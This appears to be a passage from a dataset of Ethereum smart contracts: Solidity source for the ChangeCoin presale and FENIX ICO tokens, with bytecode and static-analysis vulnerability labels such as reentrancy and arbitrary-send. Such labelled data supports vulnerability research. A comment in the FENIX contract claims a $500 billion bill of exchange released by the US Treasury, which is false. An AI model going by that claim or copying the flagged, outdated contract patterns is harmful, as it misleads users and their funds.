25868385612a11565b9050838110156120e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d9565b600060208083528351808285015260005b81811015612605578581018301518582016040015282016125e9565b81811115612617576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108f757600080fd5b803561264d8161262d565b919050565b6000806040838503121561266557600080fd5b82356126708161262d565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b80151581146108f757600080fd5b803561264d81612694565b600080604083850312156126c057600080fd5b823567ffffffffffffffff808211156126d857600080fd5b818501915085601f8301126126ec57600080fd5b81356020828211156127005761270061267e565b8160051b604051601f19603f830116810181811086821117156127255761272561267e565b60405292835281830193508481018201928984111561274357600080fd5b948201945b838610156127685761275986612642565b85529482019493820193612748565b965061277790508782016126a2565b9450505050509250929050565b60008060006060848603121561279957600080fd5b83356127a48161262d565b925060208401356127b48161262d565b929592945050506040919091013590565b6000602082840312156127d757600080fd5b5035919050565b6000602082840312156127f057600080fd5b81356120e68161262d565b60006020828403121561280d57600080fd5b81356120e681612694565b6000806000806080858703121561282e57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561285d57600080fd5b82356128688161262d565b915060208301356128788161262d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156128f8576128f86128ce565b5060010190565b600181815b8085111561293a578160001904821115612920576129206128ce565b8085161561292d57918102915b93841c9390800290612904565b509250929050565b600082612951575060016105a9565b8161295e575060006105a9565b8160018114612974576002811461297e5761299a565b60019150506105a9565b60ff84111561298f5761298f6128ce565b50506001821b6105a9565b5060208310610133831016604e8410600b84101617156129bd575081810a6105a9565b6129c783836128ff565b80600019048211156129db576129db6128ce565b029392505050565b60006120e660ff841683612942565b6000816000190483118215151615612a0c57612a0c6128ce565b500290565b60008219821115612a2457612a246128ce565b500190565b600060208284031215612a3b57600080fd5b81516120e68161262d565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215612a9657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612ac157600080fd5b81516120e681612694565b600082821015612ade57612ade6128ce565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b335784516001600160a01b031683529383019391830191600101612b0e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082612b7157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8063c3ae259802380d6c7c9c2d842971cbba5f44bd1966d8c1fb56a5254ad9564736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,524 |
0x78E0743B2cC9967BaC4643D559A027FA53F6BC88 | pragma solidity ^0.4.16;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ChangeCoin is MintableToken {
string public name = "Change COIN";
string public symbol = "CAG";
uint256 public decimals = 18;
bool public tradingStarted = false;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() onlyOwner {
tradingStarted = true;
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading returns (bool){
return super.transfer(_to, _value);
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) hasStartedTrading returns (bool){
return super.transferFrom(_from, _to, _value);
}
}
contract ChangeCoinPresale is Ownable {
using SafeMath for uint256;
// The token being sold
ChangeCoin public token;
// start and end block where investments are allowed (both inclusive)
uint256 public startTimestamp;
uint256 public endTimestamp;
// address where funds are collected
address public hardwareWallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
// minimum contributio to participate in tokensale
uint256 public minContribution;
// maximum amount of ether being raised
uint256 public hardcap;
// number of participants in presale
uint256 public numberOfPurchasers = 0;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event PreSaleClosed();
function ChangeCoinPresale() {
startTimestamp = 1504945800;
endTimestamp = 1505397600;
rate = 500;
hardwareWallet = 0x71B1Ee0848c4F68df05429490fc4237089692e1e;
token = new ChangeCoin();
minContribution = 9.9 ether;
hardcap = 50000 ether;
require(startTimestamp >= now);
require(endTimestamp >= startTimestamp);
}
/**
* @dev Calculates the amount of bonus coins the buyer gets
* @param tokens uint the amount of tokens you get according to current rate
* @return uint the amount of bonus tokens the buyer gets
*/
function bonusAmmount(uint256 tokens) internal returns(uint256) {
// first 500 get extra 30%
if (numberOfPurchasers < 501) {
return tokens * 3 / 10;
} else {
return tokens /4;
}
}
// check if valid purchase
modifier validPurchase {
require(now >= startTimestamp);
require(now <= endTimestamp);
require(msg.value >= minContribution);
require(weiRaised.add(msg.value) <= hardcap);
_;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool timeLimitReached = now > endTimestamp;
bool capReached = weiRaised >= hardcap;
return timeLimitReached || capReached;
}
// low level token purchase function
function buyTokens(address beneficiary) payable validPurchase {
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
tokens = tokens + bonusAmmount(tokens);
// update state
weiRaised = weiRaised.add(weiAmount);
numberOfPurchasers = numberOfPurchasers + 1;
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
hardwareWallet.transfer(msg.value);
}
// transfer ownership of the token to the owner of the presale contract
function finishPresale() public onlyOwner {
require(hasEnded());
token.transferOwnership(owner);
PreSaleClosed();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
} | 0x606060405236156100b45763ffffffff60e060020a6000350416632c4e722e81146100c15780634042b66f146100e6578063580c2ae91461010b5780638da5cb5b14610130578063974654c61461015f578063a85adeab14610174578063aaffadf314610199578063b071cbe6146101be578063e6fd48bc146101e3578063e9edf4cd14610208578063ec8ac4d814610237578063ecb70fb71461024d578063f2fde38b14610274578063fc0c546a14610295575b5b6100be336102c4565b5b005b34156100cc57600080fd5b6100d4610475565b60405190815260200160405180910390f35b34156100f157600080fd5b6100d461047b565b60405190815260200160405180910390f35b341561011657600080fd5b6100d4610481565b60405190815260200160405180910390f35b341561013b57600080fd5b610143610487565b604051600160a060020a03909116815260200160405180910390f35b341561016a57600080fd5b6100be610496565b005b341561017f57600080fd5b6100d461055f565b60405190815260200160405180910390f35b34156101a457600080fd5b6100d4610565565b60405190815260200160405180910390f35b34156101c957600080fd5b6100d461056b565b60405190815260200160405180910390f35b34156101ee57600080fd5b6100d4610571565b60405190815260200160405180910390f35b341561021357600080fd5b610143610577565b604051600160a060020a03909116815260200160405180910390f35b6100be600160a060020a03600435166102c4565b005b341561025857600080fd5b610260610586565b604051901515815260200160405180910390f35b341561027f57600080fd5b6100be600160a060020a03600435166105a9565b005b34156102a057600080fd5b610143610601565b604051600160a060020a03909116815260200160405180910390f35b60008060025442101515156102d857600080fd5b6003544211156102e757600080fd5b6007543410156102f657600080fd5b60085460065461030c903463ffffffff61061016565b111561031757600080fd5b600160a060020a038316151561032c57600080fd5b60055434925061034390839063ffffffff61062a16565b905061034e81610659565b600654910190610364908363ffffffff61061016565b60065560098054600190810190915554600160a060020a03166340c10f19848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156103d057600080fd5b6102c65a03f115156103e157600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a3600454600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561046e57600080fd5b5b5b505050565b60055481565b60065481565b60095481565b600054600160a060020a031681565b60005433600160a060020a039081169116146104b157600080fd5b6104b9610586565b15156104c457600080fd5b600154600054600160a060020a039182169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561051b57600080fd5b6102c65a03f1151561052c57600080fd5b5050507ffd12c90a5e51aa8a18eeaafb67ad4e7606ec2db88b5b57077a40c5712cbfb2b760405160405180910390a15b5b565b60035481565b60075481565b60085481565b60025481565b600454600160a060020a031681565b60035460085460065460009242119190101581806105a15750805b92505b505090565b60005433600160a060020a039081169116146105c457600080fd5b600160a060020a038116156105fc576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600154600160a060020a031681565b60008282018381101561061f57fe5b8091505b5092915050565b6000828202831580610646575082848281151561064357fe5b04145b151561061f57fe5b8091505b5092915050565b60006101f5600954101561067657600a600383025b049050610682565b60048261066e565b0490505b5b9190505600a165627a7a723058204b6e174d734c2277ca0e8a86fc32dfdc54a5828cad7daceb8452a86c6bfb37820029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,525 |
0x0da9326d7da81f8b19a8ec2d3255ab7076768c2d | pragma solidity 0.4.23;
/*
This issue is covered by
INTERNATIONAL BILL OF EXCHANGE (IBOE), REGISTRATION NUMBER: 99-279-0080 and SERIAL
NUMBER: 062014 PARTIAL ASSIGNMENT /
RELEASE IN THE AMOUNT OF $ 500,000,000,000.00 USD in words;
FIVE HUNDRED BILLION and No / I00 USD, submitted to and in accordance with FINAL ARTICLES OF
(UNICITRAL Convention 1988) ratified Articles 1-7, 11-13.46-3, 47-4 (c), 51, House Joint Resolution 192 of June 5.1933,
UCC 1-104, 10-104. Reserved RELASED BY SECRETARY OF THE TRESAURY OF THE UNITED STATES OF AMERICA
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply()public view returns(uint total_Supply);
function balanceOf(address who)public view returns(uint256);
function allowance(address owner, address spender)public view returns(uint);
function transferFrom(address from, address to, uint value)public returns(bool ok);
function approve(address spender, uint value)public returns(bool ok);
function transfer(address to, uint value)public returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FENIX is ERC20
{
using SafeMath for uint256;
// Name of the token
string public constant name = "FENIX";
// Symbol of token
string public constant symbol = "FNX";
uint8 public constant decimals = 18;
uint public _totalsupply = 1000000000 * 10 ** 18; // 1 Billion FNX Coins
address public owner;
uint256 public _price_tokn = 100; //1 USD in cents
uint256 no_of_tokens;
uint256 total_token;
bool stopped = false;
uint256 public ico_startdate;
uint256 public ico_enddate;
uint256 public preico_startdate;
uint256 public preico_enddate;
bool public icoRunningStatus;
bool public lockstatus;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public ethFundMain = 0xBe80a978364649422708470c979435f43e027209; // address to receive ether from smart contract
uint256 public ethreceived;
uint bonusCalculationFactor;
uint256 public pre_minContribution = 100000;// 1000 USD in cents for pre sale
uint256 ContributionAmount;
address public admin; // admin address used to do transaction through the wallet on behalf of owner
uint public priceFactor;
mapping(address => uint256) availTokens;
enum Stages {
NOTSTARTED,
PREICO,
ICO,
ENDED
}
Stages public stage;
modifier atStage(Stages _stage) {
require (stage == _stage);
_;
}
modifier onlyOwner(){
require (msg.sender == owner);
_;
}
constructor(uint256 EtherPriceFactor) public
{
require(EtherPriceFactor != 0);
owner = msg.sender;
balances[owner] = 890000000 * 10 ** 18; // 890 Million given to owner
stage = Stages.NOTSTARTED;
icoRunningStatus =true;
lockstatus = true;
priceFactor = EtherPriceFactor;
emit Transfer(0, owner, balances[owner]);
}
function () public payable
{
require(stage != Stages.ENDED);
require(!stopped && msg.sender != owner);
if (stage == Stages.PREICO && now <= preico_enddate){
require((msg.value).mul(priceFactor.mul(100)) >= (pre_minContribution.mul(10 ** 18)));
y();
}
else if (stage == Stages.ICO && now <= ico_enddate){
_price_tokn= getCurrentTokenPrice();
y();
}
else {
revert();
}
}
function getCurrentTokenPrice() private returns (uint)
{
uint price_tokn;
bonusCalculationFactor = (block.timestamp.sub(ico_startdate)).div(3600); //time period in seconds
if (bonusCalculationFactor== 0)
price_tokn = 70; //30 % Discount
else if (bonusCalculationFactor >= 1 && bonusCalculationFactor < 24)
price_tokn = 75; //25 % Discount
else if (bonusCalculationFactor >= 24 && bonusCalculationFactor < 168)
price_tokn = 80; //20 % Discount
else if (bonusCalculationFactor >= 168 && bonusCalculationFactor < 336)
price_tokn = 90; //10 % Discount
else if (bonusCalculationFactor >= 336)
price_tokn = 100; //0 % Discount
return price_tokn;
}
function y() private {
no_of_tokens = ((msg.value).mul(priceFactor.mul(100))).div(_price_tokn);
if(_price_tokn >=80){
availTokens[msg.sender] = availTokens[msg.sender].add(no_of_tokens);
}
ethreceived = ethreceived.add(msg.value);
balances[address(this)] = (balances[address(this)]).sub(no_of_tokens);
balances[msg.sender] = balances[msg.sender].add(no_of_tokens);
emit Transfer(address(this), msg.sender, no_of_tokens);
}
// called by the owner, pause ICO
function StopICO() external onlyOwner {
stopped = true;
}
// called by the owner , resumes ICO
function releaseICO() external onlyOwner
{
stopped = false;
}
// to change price of Ether in USD, in case price increases or decreases
function setpricefactor(uint256 newPricefactor) external onlyOwner
{
priceFactor = newPricefactor;
}
function setEthmainAddress(address newEthfundaddress) external onlyOwner
{
ethFundMain = newEthfundaddress;
}
function setAdminAddress(address newAdminaddress) external onlyOwner
{
admin = newAdminaddress;
}
function start_PREICO() external onlyOwner atStage(Stages.NOTSTARTED)
{
stage = Stages.PREICO;
stopped = false;
_price_tokn = 70; //30 % dicount
balances[address(this)] =10000000 * 10 ** 18 ; //10 million in preICO
preico_startdate = now;
preico_enddate = now + 7 days; //time for preICO
emit Transfer(0, address(this), balances[address(this)]);
}
function start_ICO() external onlyOwner atStage(Stages.PREICO)
{
stage = Stages.ICO;
stopped = false;
balances[address(this)] =balances[address(this)].add(100000000 * 10 ** 18); //100 million in ICO
ico_startdate = now;
ico_enddate = now + 21 days; //time for ICO
emit Transfer(0, address(this), 100000000 * 10 ** 18);
}
function end_ICO() external onlyOwner atStage(Stages.ICO)
{
require(now > ico_enddate);
stage = Stages.ENDED;
icoRunningStatus = false;
uint256 x = balances[address(this)];
balances[owner] = (balances[owner]).add( balances[address(this)]);
balances[address(this)] = 0;
emit Transfer(address(this), owner , x);
}
// This function can be used by owner in emergency to update running status parameter
function fixSpecications(bool RunningStatusICO) external onlyOwner
{
icoRunningStatus = RunningStatusICO;
}
// function to remove locking period after 12 months, can be called only be owner
function removeLocking(bool RunningStatusLock) external onlyOwner
{
lockstatus = RunningStatusLock;
}
function balanceDetails(address investor)
constant
public
returns (uint256,uint256)
{
return (availTokens[investor], balances[investor]) ;
}
// what is the total supply of the ech tokens
function totalSupply() public view returns(uint256 total_Supply) {
total_Supply = _totalsupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner)public view returns(uint256 balance) {
return balances[_owner];
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from, address _to, uint256 _amount)public returns(bool success) {
require(_to != 0x0);
require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0);
balances[_from] = (balances[_from]).sub(_amount);
allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount);
balances[_to] = (balances[_to]).add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount)public returns(bool success) {
require(_spender != 0x0);
if (!icoRunningStatus && lockstatus) {
require(_amount <= availTokens[msg.sender]);
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender)public view returns(uint256 remaining) {
require(_owner != 0x0 && _spender != 0x0);
return allowed[_owner][_spender];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) public returns(bool success) {
if ( msg.sender == owner || msg.sender == admin) {
require(balances[msg.sender] >= _amount && _amount >= 0);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] += _amount;
availTokens[_to] += _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
}
else
if (!icoRunningStatus && lockstatus && msg.sender != owner) {
require(availTokens[msg.sender] >= _amount);
availTokens[msg.sender] -= _amount;
balances[msg.sender] -= _amount;
availTokens[_to] += _amount;
balances[_to] += _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
}
else if(!lockstatus)
{
require(balances[msg.sender] >= _amount && _amount >= 0);
balances[msg.sender] = (balances[msg.sender]).sub(_amount);
balances[_to] = (balances[_to]).add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
else{
revert();
}
}
//In case the ownership needs to be transferred
function transferOwnership(address newOwner)public onlyOwner
{
require( newOwner != 0x0);
balances[newOwner] = (balances[newOwner]).add(balances[owner]);
balances[owner] = 0;
owner = newOwner;
emit Transfer(msg.sender, newOwner, balances[newOwner]);
}
function drain() external onlyOwner {
address myAddress = this;
ethFundMain.transfer(myAddress.balance);
}
} | 0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302c3d7f61461037157806306fdde0314610388578063095ea7b3146104185780630d38ea481461047d5780630df12532146104a8578063124d3396146104d557806318160ddd146104ec578063203a318f1461051757806323b872dd146105425780632c1e816d146105c7578063313ce5671461060a5780633dbedbd41461063b578063405df3381461065257806359d1b1c21461066957806361f127dd146106ac5780636bf82d74146106d757806370a082311461072e578063807d2da31461078557806386f7313d1461079c5780638da5cb5b146107c757806395d89b411461081e57806397f3bb0c146108ae5780639890220b146108dd578063a15b53ad146108f4578063a393dc441461091f578063a3aa19131461094a578063a9059cbb146109a8578063c040e6b814610a0d578063c21c5ee114610a46578063c2d9c19614610a75578063d8da708f14610aa0578063dd62ed3e14610acb578063dfb2866d14610b42578063f094768014610b6d578063f2fde38b14610b9c578063f851a44014610bdf578063f8e4338214610c36575b6003808111156101d957fe5b601560009054906101000a900460ff1660038111156101f457fe5b1415151561020157600080fd5b600560009054906101000a900460ff1615801561026c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b151561027757600080fd5b6001600381111561028457fe5b601560009054906101000a900460ff16600381111561029f57fe5b1480156102ae57506009544211155b15610312576102d0670de0b6b3a7640000601054610c6590919063ffffffff16565b6102f86102e96064601354610c6590919063ffffffff16565b34610c6590919063ffffffff16565b1015151561030557600080fd5b61030d610ca0565b61036f565b6002600381111561031f57fe5b601560009054906101000a900460ff16600381111561033a57fe5b14801561034957506007544211155b1561036957610356610f38565b600281905550610364610ca0565b61036e565b600080fd5b5b005b34801561037d57600080fd5b50610386611005565b005b34801561039457600080fd5b5061039d611311565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103dd5780820151818401526020810190506103c2565b50505050905090810190601f16801561040a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061134a565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104926114de565b6040518082815260200191505060405180910390f35b3480156104b457600080fd5b506104d3600480360381019080803590602001909291905050506114e4565b005b3480156104e157600080fd5b506104ea61154a565b005b3480156104f857600080fd5b506105016115c3565b6040518082815260200191505060405180910390f35b34801561052357600080fd5b5061052c6115cc565b6040518082815260200191505060405180910390f35b34801561054e57600080fd5b506105ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115d2565b604051808215151515815260200191505060405180910390f35b3480156105d357600080fd5b50610608600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611985565b005b34801561061657600080fd5b5061061f611a25565b604051808260ff1660ff16815260200191505060405180910390f35b34801561064757600080fd5b50610650611a2a565b005b34801561065e57600080fd5b50610667611aa3565b005b34801561067557600080fd5b506106aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c6f565b005b3480156106b857600080fd5b506106c1611d0f565b6040518082815260200191505060405180910390f35b3480156106e357600080fd5b506106ec611d15565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073a57600080fd5b5061076f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d3b565b6040518082815260200191505060405180910390f35b34801561079157600080fd5b5061079a611d84565b005b3480156107a857600080fd5b506107b1611f65565b6040518082815260200191505060405180910390f35b3480156107d357600080fd5b506107dc611f6b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082a57600080fd5b50610833611f91565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610873578082015181840152602081019050610858565b50505050905090810190601f1680156108a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ba57600080fd5b506108db600480360381019080803515159060200190929190505050611fca565b005b3480156108e957600080fd5b506108f2612043565b005b34801561090057600080fd5b50610909612127565b6040518082815260200191505060405180910390f35b34801561092b57600080fd5b5061093461212d565b6040518082815260200191505060405180910390f35b34801561095657600080fd5b5061098b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612133565b604051808381526020018281526020019250505060405180910390f35b3480156109b457600080fd5b506109f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121bf565b604051808215151515815260200191505060405180910390f35b348015610a1957600080fd5b50610a226128f3565b60405180826003811115610a3257fe5b60ff16815260200191505060405180910390f35b348015610a5257600080fd5b50610a73600480360381019080803515159060200190929190505050612906565b005b348015610a8157600080fd5b50610a8a61297f565b6040518082815260200191505060405180910390f35b348015610aac57600080fd5b50610ab5612985565b6040518082815260200191505060405180910390f35b348015610ad757600080fd5b50610b2c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061298b565b6040518082815260200191505060405180910390f35b348015610b4e57600080fd5b50610b57612a5a565b6040518082815260200191505060405180910390f35b348015610b7957600080fd5b50610b82612a60565b604051808215151515815260200191505060405180910390f35b348015610ba857600080fd5b50610bdd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a73565b005b348015610beb57600080fd5b50610bf4612d3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4257600080fd5b50610c4b612d60565b604051808215151515815260200191505060405180910390f35b6000806000841415610c7a5760009150610c99565b8284029050828482811515610c8b57fe5b04141515610c9557fe5b8091505b5092915050565b610cdc600254610cce610cbf6064601354610c6590919063ffffffff16565b34610c6590919063ffffffff16565b612d7390919063ffffffff16565b6003819055506050600254101515610d8657610d42600354601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d9b34600e54612d8e90919063ffffffff16565b600e81905550610df5600354600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dac90919063ffffffff16565b600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8c600354600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d8e90919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffff